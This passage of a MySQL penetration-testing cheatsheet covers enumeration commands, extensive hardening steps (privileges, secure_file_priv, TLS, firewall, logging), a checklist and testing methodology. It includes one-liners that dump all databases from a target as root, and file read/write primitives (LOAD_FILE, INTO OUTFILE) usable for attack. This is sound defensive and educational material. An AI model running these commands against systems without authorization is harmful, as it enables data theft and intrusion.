mysql -h $TARGET -u $USER -p$PASS -e "SHOW VARIABLES LIKE 'secure_file_priv';"
# Plugin directory
echo "[*] Plugin directory:"
mysql -h $TARGET -u $USER -p$PASS -e "SELECT @@plugin_dir;"
Defense & Hardening¶
Authentication & Access Control¶
-- Set strong root password
ALTER USER 'root'@'localhost' IDENTIFIED BY 'StrongP@ssw0rd123!';
-- Remove anonymous users
DELETE FROM mysql.user WHERE user = '';
-- Remove test database
DROP DATABASE IF EXISTS test;
-- Remove remote root access
DELETE FROM mysql.user WHERE user = 'root' AND host NOT IN ('localhost', '127.0.0.1', '::1');
-- Flush privileges
FLUSH PRIVILEGES;
-- Create application user with limited privileges
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT, INSERT, UPDATE, DELETE ON application_db.* TO 'webapp'@'localhost';
FLUSH PRIVILEGES;
Network Security¶
# Bind to localhost only
# Edit /etc/mysql/my.cnf or /etc/my.cnf
[mysqld]
bind-address = 127.0.0.1
# Or bind to specific interface
bind-address = 192.168.1.100
# Skip networking (only Unix socket)
skip-networking
# Restart MySQL
systemctl restart mysql
Disable FILE Privilege¶
-- Revoke FILE privilege from users
REVOKE FILE ON *.* FROM 'username'@'host';
-- Check who has FILE privilege
SELECT user, host FROM mysql.user WHERE File_priv = 'Y';
-- Remove FILE privilege from all non-root users
UPDATE mysql.user SET File_priv = 'N' WHERE user != 'root';
FLUSH PRIVILEGES;
Configure secure_file_priv¶
# Edit MySQL configuration file
# /etc/mysql/my.cnf or /etc/my.cnf
[mysqld]
secure_file_priv = /var/lib/mysql-files/
# Or disable file operations completely
secure_file_priv = NULL
# Restart MySQL
systemctl restart mysql
Disable LOAD DATA LOCAL INFILE¶
Run MySQL as Non-Root User¶
# Create mysql user
useradd -r -s /bin/false mysql
# In /etc/mysql/my.cnf
[mysqld]
user = mysql
# Set correct permissions
chown -R mysql:mysql /var/lib/mysql
chown -R mysql:mysql /var/log/mysql
Disable Dangerous Functions¶
-- While you can't disable built-in functions, you can:
-- 1. Restrict FILE privilege (covered above)
-- 2. Set secure_file_priv (covered above)
-- 3. Use AppArmor/SELinux to restrict MySQL
Enable Logging¶
# In /etc/mysql/my.cnf
[mysqld]
# General query log
general_log = 1
general_log_file = /var/log/mysql/mysql.log
# Error log
log_error = /var/log/mysql/error.log
# Slow query log
slow_query_log = 1
slow_query_log_file = /var/log/mysql/mysql-slow.log
long_query_time = 2
# Binary logging (for replication and point-in-time recovery)
log_bin = /var/log/mysql/mysql-bin.log
Use SSL/TLS¶
# Generate certificates
openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout mysql-key.pem -out mysql-cert.pem
# In /etc/mysql/my.cnf
[mysqld]
ssl-ca=/path/to/ca.pem
ssl-cert=/path/to/mysql-cert.pem
ssl-key=/path/to/mysql-key.pem
# Require SSL for users
ALTER USER 'username'@'host' REQUIRE SSL;
Plugin Directory Security¶
# Make plugin directory read-only
chmod 755 /usr/lib/mysql/plugin/
chown root:root /usr/lib/mysql/plugin/
# Or set it to a restricted location
[mysqld]
plugin_dir = /usr/lib/mysql/plugin/
Firewall Configuration¶
# UFW (Ubuntu/Debian)
ufw allow from 192.168.1.0/24 to any port 3306
ufw deny 3306
# iptables
iptables -A INPUT -p tcp --dport 3306 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 3306 -j DROP
# firewalld (CentOS/RHEL)
firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="192.168.1.0/24" port port="3306" protocol="tcp" accept'
firewall-cmd --reload
Regular Security Audits¶
-- Check for users with excessive privileges
SELECT user, host, Select_priv, Insert_priv, Update_priv, Delete_priv,
Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv,
File_priv, Grant_priv, Super_priv
FROM mysql.user;
-- Check for weak passwords (if MySQL < 8.0)
SELECT user, host, password FROM mysql.user WHERE password = '';
-- Check for old password format
SELECT user, host FROM mysql.user WHERE LENGTH(authentication_string) < 40;
-- Review grants
SELECT * FROM mysql.user;
SELECT * FROM mysql.db;
Security Hardening Checklist¶
☐ Set strong root password
☐ Remove anonymous users
☐ Remove test database
☐ Disable remote root login
☐ Create application users with least privilege
☐ Bind to localhost or specific IP (not 0.0.0.0)
☐ Configure secure_file_priv
☐ Revoke FILE privilege from unnecessary users
☐ Disable LOAD DATA LOCAL INFILE
☐ Run MySQL as non-root user
☐ Enable general query logging
☐ Enable error logging
☐ Enable slow query logging
☐ Configure SSL/TLS
☐ Secure plugin directory
☐ Configure firewall rules
☐ Keep MySQL updated
☐ Regular security audits
☐ Monitor logs regularly
☐ Implement intrusion detection
☐ Regular backups
Quick Reference Commands¶
One-Liners¶
# Quick connection test
mysql -h <target> -u root
# Quick version check
mysql -h <target> -u root -p -e "SELECT @@version;"
# Dump all databases
mysqldump -h <target> -u root -p --all-databases > all.sql
# Count databases
mysql -h <target> -u root -p -e "SELECT COUNT(*) FROM information_schema.schemata;"
# List users
mysql -h <target> -u root -p -e "SELECT user,host FROM mysql.user;"
# Check FILE privilege
mysql -h <target> -u root -p -e "SELECT user,File_priv FROM mysql.user WHERE File_priv='Y';"
Essential MySQL Commands¶
-- Connection & Status
SHOW DATABASES;
USE database_name;
SELECT DATABASE();
SELECT USER();
SELECT @@version;
-- User Management
SELECT user,host FROM mysql.user;
SHOW GRANTS;
SHOW GRANTS FOR 'user'@'host';
CREATE USER 'user'@'host' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'user'@'host';
REVOKE ALL PRIVILEGES ON *.* FROM 'user'@'host';
DROP USER 'user'@'host';
FLUSH PRIVILEGES;
-- Database Operations
CREATE DATABASE dbname;
DROP DATABASE dbname;
SHOW TABLES;
DESCRIBE table_name;
-- File Operations
SELECT LOAD_FILE('/path/to/file');
SELECT 'data' INTO OUTFILE '/path/to/file';
-- System Information
SELECT @@datadir;
SELECT @@plugin_dir;
SELECT @@secure_file_priv;
SHOW VARIABLES;
SHOW VARIABLES LIKE '%version%';
SHOW PROCESSLIST;
Resources & References¶
Official Documentation¶
Penetration Testing Resources¶
- HackTricks - MySQL Pentesting
- PentestMonkey - MySQL SQL Injection Cheat Sheet
- Hackviser - MySQL Pentesting
- PayloadsAllTheThings - MySQL Injection
UDF Resources¶
Tools¶
CVE References¶
Best Practices for Pentesters¶
Legal & Ethical Considerations¶
- Always obtain written authorization before testing
- Stay within the defined scope of engagement
- Document all actions taken during testing
- Report vulnerabilities responsibly
- Do not cause data loss or service disruption
- Maintain confidentiality of discovered data
Operational Security¶
- Use authorized networks and IP addresses
- Clean up artifacts after testing (UDF files, webshells, backdoor users)
- Avoid noisy scans when stealth is required
- Use secure channels for reporting
- Log all activities for accountability
Testing Methodology¶
- Reconnaissance - Identify MySQL instances and versions
- Enumeration - Gather user, database, and configuration info
- Vulnerability Assessment - Test for weak credentials, misconfigurations
- Exploitation - Attempt SQL injection, file operations, UDF exploitation
- Post-Exploitation - Assess impact, demonstrate risk
- Privilege Escalation - Attempt to escalate to system level
- Documentation - Record all findings with evidence
- Remediation - Provide actionable recommendations
Reporting¶
- Provide clear, actionable recommendations
- Include proof-of-concept demonstrations
- Explain business impact of vulnerabilities
- Prioritize findings by severity (CVSS scores)
- Document remediation steps
- Include evidence (screenshots, command outputs)
- Rate findings: Critical, High, Medium, Low, Informational
Disclaimer
This cheatsheet is intended for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal and punishable by law. Always obtain proper written authorization before conducting penetration tests. The techniques described here should only be used in controlled environments with explicit permission.